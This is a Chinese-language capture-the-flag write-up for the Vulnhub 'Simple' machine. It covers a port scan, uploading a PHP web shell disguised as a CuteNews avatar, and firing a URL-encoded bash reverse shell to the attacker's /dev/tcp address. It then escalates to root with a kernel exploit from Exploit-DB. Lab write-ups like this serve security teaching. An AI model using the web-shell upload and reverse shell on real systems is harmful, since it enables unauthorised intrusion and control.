[Vulnhub] Simple CuteNews-CMS+Kernel权限提升

信息收集

IP Address Opening Ports
192.168.8.104 TCP:80

$ nmap -p- 192.168.8.104 --min-rate 1000 -sC -sV

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Please Login / CuteNews
|_http-server-header: Apache/2.4.7 (Ubuntu)

本地权限

image.png

注册用户登录

image-1.png

image-2.png

Content-Disposition: form-data; name="avatar_file"; filename="reverse.php"

image-3.png

image-4.png

http://192.168.8.104/uploads/avatar_admin2_reverse.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.8.107%2F10032%200%3E%261%27

image-5.png

权限提升

$ cat /etc/os-release

image-7.png

https://www.exploit-db.com/exploits/36746

$ gcc 36746.c -static -o 36746

# ./36746

image-6.png

相关推荐

  1. Linux权限提升

    2024-07-14 09:10:04       24 阅读
  2. Linux 权限提升 - 信息收集 清单

    2024-07-14 09:10:04       27 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-14 09:10:04       66 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-14 09:10:04       70 阅读
  3. 在Django里面运行非项目文件

    2024-07-14 09:10:04       57 阅读
  4. Python语言-面向对象

    2024-07-14 09:10:04       68 阅读

热门阅读

  1. 搭建docker私有仓库

    2024-07-14 09:10:04       26 阅读
  2. uvm中使用clone时,为什么要使用$cast

    2024-07-14 09:10:04       23 阅读
  3. Linux命令怎么背?

    2024-07-14 09:10:04       21 阅读
  4. OpenCV npy和txt文件的区别与使用

    2024-07-14 09:10:04       27 阅读
  5. 使机器人在执行任务时更加稳定

    2024-07-14 09:10:04       26 阅读